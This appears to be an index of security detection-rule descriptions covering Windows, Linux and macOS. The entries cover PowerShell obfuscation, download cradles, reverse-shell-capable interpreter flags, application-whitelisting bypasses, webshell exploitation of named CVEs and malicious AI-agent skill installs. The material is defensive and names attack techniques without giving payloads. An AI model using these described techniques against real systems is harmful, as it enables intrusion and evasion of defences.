Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

linux · process_creation

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

linux · process_creation

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

windows · process_creation

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

windows · process_creation

Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.

windows · process_creation

Detects the use of Jlaive to execute assemblies in a copied PowerShell

windows · process_creation

Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution.

windows · process_creation

Detects events that appear when a user click on a link file with a powershell command in it

windows · process_creation

Detects powershell scripts that import modules from suspicious directories

windows · ps_script

Detects powershell scripts that import modules from suspicious directories

windows · process_creation

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

windows · process_creation

Detects suspicious interactive bash as a parent to rather uncommon child processes

linux · process_creation

Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.

windows · process_creation

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

windows · process_creation

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

windows · ps_script

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

windows · ps_module

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

windows

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

windows

Detects Obfuscated Powershell via RUNDLL LAUNCHER

windows · ps_script

Detects Obfuscated Powershell via RUNDLL LAUNCHER

windows · ps_module

Detects Obfuscated Powershell via RUNDLL LAUNCHER

windows

Detects Obfuscated Powershell via RUNDLL LAUNCHER

windows

Detects execution of AppleScript of the macOS scripting language AppleScript.

macos · process_creation

Detects keywords from well-known PowerShell exploitation frameworks

windows · ps_script

This is a threat-hunting query to collect information related to the interactive execution of a script from inside a compressed file (zip/rar). Windows will automatically run the script using scripting interpreters such as wscript and cscript binaries. From the query below, the child process is the script interpreter that will execute the script. The script extension is also a set of standard extensions that Windows OS recognizes. Selections 1-3 contain three different execution scenarios. 1. Compressed file opened using 7zip. 2. Compressed file opened using WinRar. 3. Compressed file opened using native windows File Explorer capabilities. When the malicious script is double-clicked, it will be extracted to the respected directories as signified by the CommandLine on each of the three Selections. It will then be executed using the relevant script interpreter."

windows · process_creation

Detects when the Microsoft Management Console (MMC) loads the DLL libraries like vbscript, jscript etc which might indicate an attempt to execute malicious scripts within a trusted system process for bypassing application whitelisting or defense evasion.

windows · image_load

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network

windows · ps_classic_start

Detects the attempt to install new skills for AI agents using the "npx skills" command. Agent skills enhance AI agents with new capabilities, but attackers may abuse this mechanism to inject malicious commands executed by the agent on behalf of the user. The "npx skills" command can install skills for various agents (e.g., Claude Code, Cursor, and others). Analysts should review any installed skills to verify their legitimacy. Note: Tune this rule based on whether AI agent tooling is allowed in your environment. In environments where such tooling is authorized, this detection may reflect normal activity and the alert level should be adjusted accordingly. In environments where AI agent tooling is not permitted, this activity is likely suspicious and may require immediate investigation.

windows · process_creation

Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud

windows · process_creation

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

linux · process_creation

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

windows · ps_classic_start

Detects the OpenEDR ssh-shellhost.exe spawning a command shell (cmd.exe) or PowerShell with PTY (pseudo-terminal) capabilities. This may indicate remote command execution through OpenEDR's remote management features, which could be legitimate administrative activity or potential abuse of the remote access tool. Threat actors may leverage OpenEDR's remote shell capabilities to execute commands on compromised systems, facilitating lateral movement or other command-and-control operations.

windows · process_creation

Detects potential suspicious applet or osascript executing "osacompile".

macos · process_creation

Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.

macos · process_creation

Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.

windows · process_creation

Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.

windows · process_creation

Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes, or disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be misused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.

linux

Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.

windows · process_creation

Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".

windows · process_creation

Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.

windows · process_creation

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest or Invoke-RestMethod cmdlets.

windows · process_creation

Detects possible payload obfuscation via the commandline

windows · process_creation

Detects wscript/cscript/mshta executions of scripts located in user directories

windows · process_creation

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

macos · process_creation

Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.

windows · process_creation

Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

windows · process_creation

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state

windows · process_creation

Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.

windows · process_creation

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

windows · process_creation

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

windows · process_creation

Detects the creation of suspicious files (jsp, java, class) in SAP NetWeaver directories, which may indicate exploitation attempts of vulnerabilities such as CVE-2025-31324.

windows · file_event

Detects the creation of suspicious files (jsp, java, class) in SAP NetWeaver directories, which may indicate exploitation attempts of vulnerabilities such as CVE-2025-31324.

linux · file_event

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

windows · ps_script

Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.

windows · process_creation

Detects usage of "xterm" as a potential reverse shell tunnel

linux · process_creation

Detects potentially suspicious inline JavaScript execution using Node.js with specific keywords in the command line.

windows · process_creation

Detects the modification of NTFS symbolic link behavior using fsutil, which could be used to enable remote to local or remote to remote symlinks for potential attacks.

windows · process_creation

Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands.

windows · process_creation

Detects a potentially suspicious powershell script executions from temporary folder

windows · process_creation

Detects possible execution via LNK file accessed on a WebDAV server.

windows · process_creation

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

windows · image_load

Detects creation of a local user via PowerShell

windows · ps_script

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

windows · ps_classic_start

Detects a Powershell process that contains download commands in its command line string

windows · process_creation

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system

windows · ps_script

Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.

windows · process_creation

Detects inline execution of PowerShell code from a file

windows · process_creation

Detects the execution of PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely. This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality. And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.

windows · process_creation

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

windows · ps_script

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system

windows · ps_script

Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder

windows · process_creation

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

windows · ps_script

Detects the execution of AdvancedRun utility

windows · process_creation

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

windows · process_creation

Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\*.pth' (Windows) and '/lib/pythonX.Y/site-packages/*.pth' (Unix and macOS).

linux · file_event

Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\*.pth' (Windows) and '/lib/pythonX.Y/site-packages/*.pth' (Unix and macOS).

macos · file_event

Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\*.pth' (Windows) and '/lib/pythonX.Y/site-packages/*.pth' (Unix and macOS).

windows · file_event

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

linux · process_creation

Detect the use of "<" to read and potentially execute a file via cmd.exe

windows · process_creation

Detects attempts to modify the registry using VBScript's CreateObject("Wscript.shell") and RegWrite methods via common LOLBINs. It could be an attempt to modify the registry for persistence without using straightforward methods like regedit.exe, reg.exe, or PowerShell. Threat Actors may use this technique to evade detection by security solutions that monitor for direct registry modifications through traditional tools.

windows · process_creation

Detects attempts to modify the registry using VBScript's CreateObject("Wscript.shell") and RegWrite methods embedded within PowerShell scripts or commands. Threat actors commonly embed VBScript code within PowerShell to perform registry modifications, attempting to evade detection that monitors for direct registry access through traditional tools. This technique can be used for persistence, defense evasion, and privilege escalation by modifying registry keys without using regedit.exe, reg.exe, or PowerShell's native registry cmdlets.

windows · ps_script

Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.

windows · registry_set

Detects suspicious registry modifications made by suspicious processes such as script engine processes such as WScript, or CScript etc. These processes are rarely used for legitimate registry modifications, and their activity may indicate an attempt to modify the registry without using standard tools like regedit.exe or reg.exe, potentially for evasion and persistence.

windows · registry_event

Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).

windows · process_creation

Detects the creation of a remote thread from a Powershell process to another process

windows · create_remote_thread

Detects the creation of a remote thread from a Powershell process in an uncommon target process

windows · create_remote_thread

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

windows · process_creation

Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields

windows · process_creation

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

windows · process_creation

Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.

windows · process_creation

This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

windows · process_creation

Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.

macos · process_creation

Detects suspicious child processes spawned by SAP NetWeaver that could indicate potential exploitation of vulnerability that allows arbitrary execution via webshells such as CVE-2025-31324.

windows · process_creation

Detects suspicious child processes spawned by SAP NetWeaver on Linux systems that could indicate potential exploitation of vulnerability that allows arbitrary execution via webshells such as CVE-2025-31324.

linux · process_creation

Detects relevant commands often related to malware or hacking activity

linux

Detects suspicious child processes spawned by the CrushFTP service that may indicate exploitation of remote code execution vulnerabilities such as CVE-2025-31161, where attackers can achieve RCE through crafted HTTP requests. The detection focuses on commonly abused Windows executables (like powershell.exe, cmd.exe etc.) that attackers typically use post-exploitation to execute malicious commands.

windows · process_creation

Commandline to launch powershell with a base64 payload

windows · process_creation

Detects when the macOS Script Editor utility spawns an unusual child process.

macos · process_creation

Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe

windows · process_creation

Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files

windows · file_event

Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters

macos · process_creation

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

windows

Detects suspicious PowerShell download command

windows · ps_module

Detects suspicious PowerShell download command

windows · ps_script

Detects suspicious powershell invocations from interpreters or unusual programs

windows · process_creation

Detects suspicious process related to rasdial.exe

windows · process_creation

Detects execution of powershell scripts via Runscripthelper.exe

windows · process_creation

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system

windows · process_creation

Detects suspicious usage of the cmd.exe 'for /f' loop combined with the 'tokens=' parameter and a recursive directory listing. This pattern may indicate an attempt to discover and execute system binaries dynamically, for example powershell, a technique sometimes used by attackers to evade detection. This behavior has been observed in various malicious lnk files.

windows · process_creation

Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.

windows · image_load

Detects presence of a potentially xor encoded powershell command

windows · process_creation

Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)

windows · process_creation

Detects file creation indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026.

linux · file_event

Detects file creation indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai, uipath, etc reported on early May 2026.

windows · file_event

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

windows · process_creation

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

windows · ps_classic_start

Detects suspicious parent process for cmd.exe

windows · process_creation

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

windows · process_creation

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs

windows · ps_script

Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.

windows · process_creation

Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting

windows · process_creation

Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

windows · process_creation

Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.

windows · ps_script

Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.

windows · ps_script

Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions

windows · ps_script

Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.

windows · process_creation

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity

windows · process_creation

Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf, .wsh) by Wscript/Cscript.

windows · process_creation

Detects the execution of WMIC with the "format" flag to potentially load local XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

windows · process_creation

Detects powershell execution with that make use of to the bxor (Bitwise XOR). Attackers might use as an alternative obfuscation method to Base64 encoded commands. Investigate the CommandLine and process tree to determine if the activity is malicious.

windows · ps_classic_start

Detects unusual domain resolutions originating from CScript/WScript that can identify malicious javascript files executing in an environment, often as a result from a phishing or watering hole attack.

windows · dns_query

Detects a network connection that was initiated from a PowerShell process. Often times malicious powershell scripts download additional payloads or communicate back to command and control channels via uncommon ports or IPs. Use this rule as a basis for hunting for anomalies.

windows · network_connection

Detects execution of JavaScript or JSC files using NodeJs binary node.exe, that could be potentially suspicious. Node.js is a popular open-source JavaScript runtime that runs code outside browsers and is widely used for both frontend and backend development. Adversaries have been observed abusing Node.js to disguise malware as legitimate processes, evade security defenses, and maintain persistence within target systems. Because Node.js is commonly used, this rule may generate false positives in some environments. However, if such activity is unusual in your environment, it is highly suspicious and warrants immediate investigation.

windows · process_creation

Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.

windows · process_creation

Detects specific combinations of encoding methods in PowerShell via the commandline

windows · process_creation

Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts

windows · ps_script

Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation

windows · ps_script

Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting. Adjust the threshold of filename length as needed based on your environment.

linux · file_event

Detects PowerShell download activity, via the .DownloadFile() or .DownloadString() methods of the Net.WebClient class. This technique is often abused by attackers to download additional payloads.

windows · ps_classic_start

Detects command execution via ScreenConnect RMM

windows

Detects file being transferred via ScreenConnect RMM

windows

Detects the execution of a system command via the ScreenConnect RMM service.

windows · process_creation

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users\<username>\Documents\ConnectWiseControl\Temp\" before execution.

windows · file_event

Detects remote PowerShell sessions

windows · ps_classic_start

Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.

windows · ps_classic_start

Detects Deno writing a file from a direct HTTP(s) call and writing to the appdata folder or bringing it's own malicious DLL. This behavior may indicate an attempt to execute remotely hosted, potentially malicious files through deno.

windows · file_event

Detects unusually long PowerShell command lines with a length of 1000 characters or more

windows · process_creation

Detects the execution of PowerShell via the creation of a named pipe starting with PSHost

windows · pipe_created